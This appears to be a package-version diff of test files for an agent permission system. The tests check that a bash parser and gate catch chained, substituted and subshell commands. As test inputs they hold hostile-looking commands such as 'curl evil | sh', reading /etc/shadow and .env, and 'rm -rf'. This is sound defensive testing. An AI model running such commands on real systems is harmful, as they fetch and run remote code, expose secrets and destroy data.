@gotgenes/pi-permission-system 9.0.0 → 9.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -9,12 +9,16 @@ vi.mock("node:os", () => {
9
9
  };
10
10
  });
11
11
 
12
+ import { getNonEmptyString, toRecord } from "#src/common";
12
13
  import { describeBashPathGate } from "#src/handlers/gates/bash-path";
14
+ import { BashProgram } from "#src/handlers/gates/bash-program";
13
15
  import type {
14
16
  GateBypass,
15
17
  GateDescriptor,
18
+ GateResult,
16
19
  } from "#src/handlers/gates/descriptor";
17
20
  import { isGateBypass, isGateDescriptor } from "#src/handlers/gates/descriptor";
21
+ import type { ToolCallContext } from "#src/handlers/gates/types";
18
22
  import type { Rule } from "#src/rule";
19
23
  import type { PermissionCheckResult } from "#src/types";
20
24
 
@@ -34,13 +38,36 @@ type CheckPermissionFn = (
34
38
  sessionRules?: Rule[],
35
39
  ) => PermissionCheckResult;
36
40
 
41
+ /**
42
+ * Mirror the handler's parse-once derivation: parse the bash command into a
43
+ * shared `BashProgram` and inject it, exactly as `permission-gate-handler.ts`
44
+ * does, so the gate is exercised through the production wiring.
45
+ */
46
+ async function describeGate(
47
+ tcc: ToolCallContext,
48
+ checkPermission: CheckPermissionFn,
49
+ getSessionRuleset: () => Rule[],
50
+ ): Promise<GateResult> {
51
+ const command = getNonEmptyString(toRecord(tcc.input).command);
52
+ const bashProgram =
53
+ tcc.toolName === "bash" && command
54
+ ? await BashProgram.parse(command)
55
+ : null;
56
+ return describeBashPathGate(
57
+ tcc,
58
+ bashProgram,
59
+ checkPermission,
60
+ getSessionRuleset,
61
+ );
62
+ }
63
+
37
64
  // ── tests ──────────────────────────────────────────────────────────────────
38
65
 
39
66
  describe("describeBashPathGate", () => {
40
67
  it("returns null for non-bash tools", async () => {
41
68
  const checkPermission = vi.fn<CheckPermissionFn>();
42
69
  const getSessionRuleset = vi.fn<() => Rule[]>().mockReturnValue([]);
43
- const result = await describeBashPathGate(
70
+ const result = await describeGate(
44
71
  makeTcc({ toolName: "read", input: { path: ".env" } }),
45
72
  checkPermission,
46
73
  getSessionRuleset,
@@ -51,7 +78,7 @@ describe("describeBashPathGate", () => {
51
78
  it("returns null when no tokens are extracted", async () => {
52
79
  const checkPermission = vi.fn<CheckPermissionFn>();
53
80
  const getSessionRuleset = vi.fn<() => Rule[]>().mockReturnValue([]);
54
- const result = await describeBashPathGate(
81
+ const result = await describeGate(
55
82
  makeTcc({ input: { command: "echo hello" } }),
56
83
  checkPermission,
57
84
  getSessionRuleset,
@@ -64,7 +91,7 @@ describe("describeBashPathGate", () => {
64
91
  .fn<CheckPermissionFn>()
65
92
  .mockReturnValue(makeCheckResult({ state: "allow" }));
66
93
  const getSessionRuleset = vi.fn<() => Rule[]>().mockReturnValue([]);
67
- const result = await describeBashPathGate(
94
+ const result = await describeGate(
68
95
  makeTcc({ input: { command: "cat .env" } }),
69
96
  checkPermission,
70
97
  getSessionRuleset,
@@ -80,7 +107,7 @@ describe("describeBashPathGate", () => {
80
107
  }),
81
108
  );
82
109
  const getSessionRuleset = vi.fn<() => Rule[]>().mockReturnValue([]);
83
- const result = await describeBashPathGate(
110
+ const result = await describeGate(
84
111
  makeTcc({ input: { command: "cat .env" } }),
85
112
  checkPermission,
86
113
  getSessionRuleset,
@@ -97,7 +124,7 @@ describe("describeBashPathGate", () => {
97
124
  .fn<CheckPermissionFn>()
98
125
  .mockReturnValue(makeCheckResult({ state: "ask", matchedPattern: "*" }));
99
126
  const getSessionRuleset = vi.fn<() => Rule[]>().mockReturnValue([]);
100
- const result = await describeBashPathGate(
127
+ const result = await describeGate(
101
128
  makeTcc({ input: { command: "cat .env" } }),
102
129
  checkPermission,
103
130
  getSessionRuleset,
@@ -115,7 +142,7 @@ describe("describeBashPathGate", () => {
115
142
  makeCheckResult({ state: "deny", matchedPattern: "*.env" }),
116
143
  );
117
144
  const getSessionRuleset = vi.fn<() => Rule[]>().mockReturnValue([]);
118
- const result = (await describeBashPathGate(
145
+ const result = (await describeGate(
119
146
  makeTcc({ input: { command: "cat .env" } }),
120
147
  checkPermission,
121
148
  getSessionRuleset,
@@ -135,7 +162,7 @@ describe("describeBashPathGate", () => {
135
162
  makeCheckResult({ state: "deny", matchedPattern: "*.env" }),
136
163
  );
137
164
  const getSessionRuleset = vi.fn<() => Rule[]>().mockReturnValue([]);
138
- const result = (await describeBashPathGate(
165
+ const result = (await describeGate(
139
166
  makeTcc({ input: { command: "cat .env" } }),
140
167
  checkPermission,
141
168
  getSessionRuleset,
@@ -156,7 +183,7 @@ describe("describeBashPathGate", () => {
156
183
  origin: "session",
157
184
  },
158
185
  ]);
159
- const result = await describeBashPathGate(
186
+ const result = await describeGate(
160
187
  makeTcc({ input: { command: "cat .env" } }),
161
188
  checkPermission,
162
189
  getSessionRuleset,
@@ -169,7 +196,7 @@ describe("describeBashPathGate", () => {
169
196
  it("returns null when command is missing", async () => {
170
197
  const checkPermission = vi.fn<CheckPermissionFn>();
171
198
  const getSessionRuleset = vi.fn<() => Rule[]>().mockReturnValue([]);
172
- const result = await describeBashPathGate(
199
+ const result = await describeGate(
173
200
  makeTcc({ input: {} }),
174
201
  checkPermission,
175
202
  getSessionRuleset,
@@ -188,7 +215,7 @@ describe("describeBashPathGate", () => {
188
215
  return makeCheckResult({ state: "deny", matchedPattern: "*.env" });
189
216
  });
190
217
  const getSessionRuleset = vi.fn<() => Rule[]>().mockReturnValue([]);
191
- const result = await describeBashPathGate(
218
+ const result = await describeGate(
192
219
  makeTcc({ input: { command: "cat src/foo.ts .env" } }),
193
220
  checkPermission,
194
221
  getSessionRuleset,
@@ -209,7 +236,7 @@ describe("describeBashPathGate", () => {
209
236
  return makeCheckResult({ state: "allow" });
210
237
  });
211
238
  const getSessionRuleset = vi.fn<() => Rule[]>().mockReturnValue([]);
212
- const result = await describeBashPathGate(
239
+ const result = await describeGate(
213
240
  makeTcc({ input: { command: "cp .env README.md" } }),
214
241
  checkPermission,
215
242
  getSessionRuleset,
@@ -232,7 +259,7 @@ describe("describeBashPathGate", () => {
232
259
  return makeCheckResult({ state: "allow" });
233
260
  });
234
261
  const getSessionRuleset = vi.fn<() => Rule[]>().mockReturnValue([]);
235
- const result = await describeBashPathGate(
262
+ const result = await describeGate(
236
263
  makeTcc({ input: { command: "echo test > .env" } }),
237
264
  checkPermission,
238
265
  getSessionRuleset,
@@ -252,7 +279,7 @@ describe("describeBashPathGate", () => {
252
279
  }),
253
280
  );
254
281
  const getSessionRuleset = vi.fn<() => Rule[]>().mockReturnValue([]);
255
- const result = await describeBashPathGate(
282
+ const result = await describeGate(
256
283
  makeTcc({ input: { command: "cat .env" } }),
257
284
  checkPermission,
258
285
  getSessionRuleset,
@@ -280,7 +307,7 @@ describe("describeBashPathGate", () => {
280
307
  });
281
308
  });
282
309
  const getSessionRuleset = vi.fn<() => Rule[]>().mockReturnValue([]);
283
- const result = await describeBashPathGate(
310
+ const result = await describeGate(
284
311
  makeTcc({ input: { command: "cat src/foo.ts .env" } }),
285
312
  checkPermission,
286
313
  getSessionRuleset,
@@ -0,0 +1,179 @@
1
+ import { describe, expect, it } from "vitest";
2
+
3
+ import { BashProgram } from "#src/handlers/gates/bash-program";
4
+
5
+ describe("BashProgram", () => {
6
+ describe("pathTokens", () => {
7
+ it("returns dot-files and relative path tokens", async () => {
8
+ const program = await BashProgram.parse("cat .env src/foo.ts");
9
+ expect(program.pathTokens()).toEqual([".env", "src/foo.ts"]);
10
+ });
11
+
12
+ it("returns an empty array when there are no path tokens", async () => {
13
+ const program = await BashProgram.parse("echo hello");
14
+ expect(program.pathTokens()).toEqual([]);
15
+ });
16
+
17
+ it("deduplicates repeated tokens across a command chain", async () => {
18
+ const program = await BashProgram.parse("cat .env && rm .env");
19
+ expect(program.pathTokens()).toEqual([".env"]);
20
+ });
21
+ });
22
+
23
+ describe("externalPaths", () => {
24
+ const cwd = "/projects/my-app";
25
+
26
+ it("returns absolute paths resolving outside cwd", async () => {
27
+ const program = await BashProgram.parse("cat /etc/hosts");
28
+ // Subset matcher: the path is normalized before comparison.
29
+ expect(program.externalPaths(cwd)).toContain("/etc/hosts");
30
+ });
31
+
32
+ it("excludes paths within cwd", async () => {
33
+ const program = await BashProgram.parse("cat src/index.ts");
34
+ expect(program.externalPaths(cwd)).toHaveLength(0);
35
+ });
36
+ });
37
+
38
+ describe("commands", () => {
39
+ it("returns a single-element list for a lone command", async () => {
40
+ const program = await BashProgram.parse("npm install pkg");
41
+ expect(program.commands()).toEqual([{ text: "npm install pkg" }]);
42
+ });
43
+
44
+ it("splits an && chain", async () => {
45
+ const program = await BashProgram.parse("cd /p && npm i x");
46
+ expect(program.commands()).toEqual([
47
+ { text: "cd /p" },
48
+ { text: "npm i x" },
49
+ ]);
50
+ });
51
+
52
+ it("splits || , ; and & separators", async () => {
53
+ expect((await BashProgram.parse("a || b")).commands()).toEqual([
54
+ { text: "a" },
55
+ { text: "b" },
56
+ ]);
57
+ expect((await BashProgram.parse("a ; b")).commands()).toEqual([
58
+ { text: "a" },
59
+ { text: "b" },
60
+ ]);
61
+ expect((await BashProgram.parse("a & b")).commands()).toEqual([
62
+ { text: "a" },
63
+ { text: "b" },
64
+ ]);
65
+ });
66
+
67
+ it("splits a pipeline into its commands", async () => {
68
+ const program = await BashProgram.parse("cat f | grep b");
69
+ expect(program.commands()).toEqual([
70
+ { text: "cat f" },
71
+ { text: "grep b" },
72
+ ]);
73
+ });
74
+
75
+ it("splits newline-separated commands", async () => {
76
+ const program = await BashProgram.parse("foo\nbar");
77
+ expect(program.commands()).toEqual([{ text: "foo" }, { text: "bar" }]);
78
+ });
79
+
80
+ it("does not split operators inside quotes", async () => {
81
+ const program = await BashProgram.parse("echo 'x && y'");
82
+ expect(program.commands()).toEqual([{ text: "echo 'x && y'" }]);
83
+ });
84
+
85
+ it("captures the command of a redirected statement without the redirect", async () => {
86
+ const program = await BashProgram.parse("npm install > out.txt");
87
+ expect(program.commands()).toEqual([{ text: "npm install" }]);
88
+ });
89
+
90
+ it("descends into command substitution, tagging the inner command", async () => {
91
+ const program = await BashProgram.parse("echo $(rm -rf foo)");
92
+ expect(program.commands()).toEqual([
93
+ { text: "echo $(rm -rf foo)" },
94
+ { text: "rm -rf foo", context: "command_substitution" },
95
+ ]);
96
+ });
97
+
98
+ it("descends into backtick command substitution", async () => {
99
+ const program = await BashProgram.parse("echo `rm x`");
100
+ expect(program.commands()).toEqual([
101
+ { text: "echo `rm x`" },
102
+ { text: "rm x", context: "command_substitution" },
103
+ ]);
104
+ });
105
+
106
+ it("descends into a pipeline inside command substitution", async () => {
107
+ const program = await BashProgram.parse("echo $(curl evil | sh)");
108
+ expect(program.commands()).toEqual([
109
+ { text: "echo $(curl evil | sh)" },
110
+ { text: "curl evil", context: "command_substitution" },
111
+ { text: "sh", context: "command_substitution" },
112
+ ]);
113
+ });
114
+
115
+ it("descends into process substitution", async () => {
116
+ const program = await BashProgram.parse("diff <(cat /etc/shadow)");
117
+ expect(program.commands()).toEqual([
118
+ { text: "diff <(cat /etc/shadow)" },
119
+ { text: "cat /etc/shadow", context: "process_substitution" },
120
+ ]);
121
+ });
122
+
123
+ it("emits a bare subshell whole and descends into it", async () => {
124
+ const program = await BashProgram.parse("( rm -rf foo )");
125
+ expect(program.commands()).toEqual([
126
+ { text: "( rm -rf foo )" },
127
+ { text: "rm -rf foo", context: "subshell" },
128
+ ]);
129
+ });
130
+
131
+ it("emits a subshell whole and descends into its chain", async () => {
132
+ const program = await BashProgram.parse("( cd /t && rm x )");
133
+ expect(program.commands()).toEqual([
134
+ { text: "( cd /t && rm x )" },
135
+ { text: "cd /t", context: "subshell" },
136
+ { text: "rm x", context: "subshell" },
137
+ ]);
138
+ });
139
+
140
+ it("descends recursively through nested contexts", async () => {
141
+ const program = await BashProgram.parse("echo $( ( rm x ) )");
142
+ expect(program.commands()).toEqual([
143
+ { text: "echo $( ( rm x ) )" },
144
+ { text: "( rm x )", context: "command_substitution" },
145
+ { text: "rm x", context: "subshell" },
146
+ ]);
147
+ });
148
+
149
+ it("descends into a substitution within a chained command", async () => {
150
+ const program = await BashProgram.parse("cd /p && echo $(rm x)");
151
+ expect(program.commands()).toEqual([
152
+ { text: "cd /p" },
153
+ { text: "echo $(rm x)" },
154
+ { text: "rm x", context: "command_substitution" },
155
+ ]);
156
+ });
157
+
158
+ it("keeps the never-weaker invariant: a benign inner command stays", async () => {
159
+ const program = await BashProgram.parse("echo $(echo safe)");
160
+ expect(program.commands()).toEqual([
161
+ { text: "echo $(echo safe)" },
162
+ { text: "echo safe", context: "command_substitution" },
163
+ ]);
164
+ });
165
+
166
+ it("returns an empty list for an empty or whitespace command", async () => {
167
+ expect((await BashProgram.parse("")).commands()).toEqual([]);
168
+ expect((await BashProgram.parse(" ")).commands()).toEqual([]);
169
+ });
170
+ });
171
+
172
+ it("derives both slices from a single parse", async () => {
173
+ const program = await BashProgram.parse("cat .env /etc/hosts");
174
+ expect(program.pathTokens()).toEqual([".env", "/etc/hosts"]);
175
+ const external = program.externalPaths("/projects/my-app");
176
+ expect(external).toContain("/etc/hosts");
177
+ expect(external).not.toContain(".env");
178
+ });
179
+ });
@@ -0,0 +1,52 @@
1
+ import { describe, expect, it } from "vitest";
2
+
3
+ import { pickMostRestrictive } from "#src/handlers/gates/candidate-check";
4
+
5
+ import { makeGateCheckResult } from "#test/helpers/gate-fixtures";
6
+
7
+ describe("pickMostRestrictive", () => {
8
+ it("returns undefined for an empty list", () => {
9
+ expect(pickMostRestrictive([])).toBeUndefined();
10
+ });
11
+
12
+ it("returns the single result for a one-element list", () => {
13
+ const only = makeGateCheckResult({ state: "allow" });
14
+ expect(pickMostRestrictive([only])).toBe(only);
15
+ });
16
+
17
+ it("prefers deny over ask and allow regardless of position", () => {
18
+ const allow = makeGateCheckResult({ state: "allow", matchedPattern: "a" });
19
+ const ask = makeGateCheckResult({ state: "ask", matchedPattern: "b" });
20
+ const deny = makeGateCheckResult({ state: "deny", matchedPattern: "c" });
21
+ expect(pickMostRestrictive([allow, ask, deny])).toBe(deny);
22
+ expect(pickMostRestrictive([deny, ask, allow])).toBe(deny);
23
+ });
24
+
25
+ it("prefers ask over allow when no deny is present", () => {
26
+ const allow = makeGateCheckResult({ state: "allow" });
27
+ const ask = makeGateCheckResult({ state: "ask" });
28
+ expect(pickMostRestrictive([allow, ask])).toBe(ask);
29
+ });
30
+
31
+ it("keeps the first deny on ties", () => {
32
+ const deny1 = makeGateCheckResult({
33
+ state: "deny",
34
+ matchedPattern: "first",
35
+ });
36
+ const deny2 = makeGateCheckResult({
37
+ state: "deny",
38
+ matchedPattern: "second",
39
+ });
40
+ expect(pickMostRestrictive([deny1, deny2])).toBe(deny1);
41
+ });
42
+
43
+ it("keeps the first ask on ties when no deny is present", () => {
44
+ const allow = makeGateCheckResult({ state: "allow" });
45
+ const ask1 = makeGateCheckResult({ state: "ask", matchedPattern: "first" });
46
+ const ask2 = makeGateCheckResult({
47
+ state: "ask",
48
+ matchedPattern: "second",
49
+ });
50
+ expect(pickMostRestrictive([allow, ask1, ask2])).toBe(ask1);
51
+ });
52
+ });
@@ -287,3 +287,114 @@ describe("handleToolCall — bash path gate", () => {
287
287
  expect(result).toMatchObject({ block: true });
288
288
  });
289
289
  });
290
+
291
+ // ── bash command chain gate ───────────────────────────────────────────────
292
+
293
+ describe("handleToolCall — bash command chain gate", () => {
294
+ it("blocks a chain when a later sub-command is denied (#301)", async () => {
295
+ const checkPermission = vi
296
+ .fn()
297
+ .mockImplementation((surface: string, input: unknown) => {
298
+ if (surface === "bash") {
299
+ const command = (input as { command?: string }).command ?? "";
300
+ return /^npm\b/.test(command)
301
+ ? makeCheckResult({
302
+ state: "deny",
303
+ source: "bash",
304
+ command,
305
+ matchedPattern: "npm *",
306
+ })
307
+ : makeCheckResult({
308
+ state: "allow",
309
+ source: "bash",
310
+ command,
311
+ matchedPattern: "echo *",
312
+ });
313
+ }
314
+ return makeCheckResult({ state: "allow" });
315
+ });
316
+ const { handler } = makeHandler({
317
+ session: { checkPermission },
318
+ toolRegistry: {
319
+ getAll: vi.fn().mockReturnValue([{ name: "bash" }]),
320
+ },
321
+ });
322
+ const event = {
323
+ type: "tool_call",
324
+ toolCallId: "tc-bash-chain",
325
+ name: "bash",
326
+ input: { command: "echo start && npm install compromised-package" },
327
+ };
328
+ const result = await handler.handleToolCall(event, makeCtx());
329
+ expect(result).toMatchObject({ block: true });
330
+ });
331
+
332
+ it("blocks a command nested inside command substitution (#306)", async () => {
333
+ const checkPermission = vi
334
+ .fn()
335
+ .mockImplementation((surface: string, input: unknown) => {
336
+ if (surface === "bash") {
337
+ const command = (input as { command?: string }).command ?? "";
338
+ return /^rm\b/.test(command)
339
+ ? makeCheckResult({
340
+ state: "deny",
341
+ source: "bash",
342
+ command,
343
+ matchedPattern: "rm *",
344
+ })
345
+ : makeCheckResult({
346
+ state: "allow",
347
+ source: "bash",
348
+ command,
349
+ matchedPattern: "echo *",
350
+ });
351
+ }
352
+ return makeCheckResult({ state: "allow" });
353
+ });
354
+ const { handler } = makeHandler({
355
+ session: { checkPermission },
356
+ toolRegistry: {
357
+ getAll: vi.fn().mockReturnValue([{ name: "bash" }]),
358
+ },
359
+ });
360
+ const event = {
361
+ type: "tool_call",
362
+ toolCallId: "tc-bash-substitution",
363
+ name: "bash",
364
+ input: { command: "echo $(rm -rf foo)" },
365
+ };
366
+ const result = await handler.handleToolCall(event, makeCtx());
367
+ expect(result).toMatchObject({ block: true });
368
+ });
369
+
370
+ it("allows a single non-chained bash command", async () => {
371
+ const checkPermission = vi
372
+ .fn()
373
+ .mockImplementation((surface: string, input: unknown) => {
374
+ if (surface === "bash") {
375
+ const command = (input as { command?: string }).command ?? "";
376
+ return makeCheckResult({
377
+ state: "allow",
378
+ source: "bash",
379
+ command,
380
+ matchedPattern: "echo *",
381
+ });
382
+ }
383
+ return makeCheckResult({ state: "allow" });
384
+ });
385
+ const { handler } = makeHandler({
386
+ session: { checkPermission },
387
+ toolRegistry: {
388
+ getAll: vi.fn().mockReturnValue([{ name: "bash" }]),
389
+ },
390
+ });
391
+ const event = {
392
+ type: "tool_call",
393
+ toolCallId: "tc-bash-single",
394
+ name: "bash",
395
+ input: { command: "echo hi" },
396
+ };
397
+ const result = await handler.handleToolCall(event, makeCtx());
398
+ expect(result).toEqual({});
399
+ });
400
+ });
@@ -151,6 +151,22 @@ describe("formatAskPrompt", () => {
151
151
  expect(result).toContain("matched 'git *'");
152
152
  });
153
153
 
154
+ test("formats bash prompt with nested execution context", () => {
155
+ const result = formatAskPrompt(
156
+ toolResult("bash", {
157
+ command: "rm -rf foo",
158
+ matchedPattern: "rm *",
159
+ commandContext: "command_substitution",
160
+ }),
161
+ undefined,
162
+ undefined,
163
+ makeFormatter(),
164
+ );
165
+ expect(result).toContain(
166
+ "bash command 'rm -rf foo' (matched 'rm *', inside command substitution).",
167
+ );
168
+ });
169
+
154
170
  test("formats MCP prompt with target", () => {
155
171
  const result = formatAskPrompt(
156
172
  mcpResult("server:query"),